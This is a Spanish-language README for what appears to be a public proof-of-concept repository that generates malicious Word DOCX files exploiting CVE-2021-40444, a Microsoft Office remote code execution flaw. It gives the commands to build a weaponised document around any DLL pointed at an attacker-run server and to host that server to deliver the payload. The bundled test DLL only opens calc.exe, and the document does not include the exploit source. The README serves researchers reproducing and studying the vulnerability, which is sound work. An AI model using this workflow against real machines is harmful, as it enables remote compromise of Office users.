lockedbyte/cve-2021-40444Genera documentos DOCX maliciosos que explotan CVE-2021-40444 (RCE en Microsoft Office) con un servidor alojado para la entrega de payload DLL, basado en muestras reales analizadas mediante ingeniería inversa.
Generador de docx malicioso para explotar CVE-2021-40444 (Ejecución remota de código en Microsoft Office Word)
La creación de este script se basa en ingeniería inversa sobre la muestra utilizada in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (archivo docx)
Necesitas instalar lcab primero (sudo apt-get install lcab)
Consulta REPRODUCE.md para los pasos de reproducción manual
Si tu cab generado no funciona, intenta apuntar la URL de exploit.html a calc.cab
Primero genera un documento docx malicioso dado un DLL, puedes usar el que está en test/calc.dll que simplemente abre un calc.exe mediante una llamada a system()
python3 exploit.py generate test/calc.dll http://<SRV IP>
Una vez que generes el docx malicioso (estará en out/) puedes configurar el servidor:
sudo python3 exploit.py host 80
Finalmente prueba el docx en una máquina virtual de Windows:
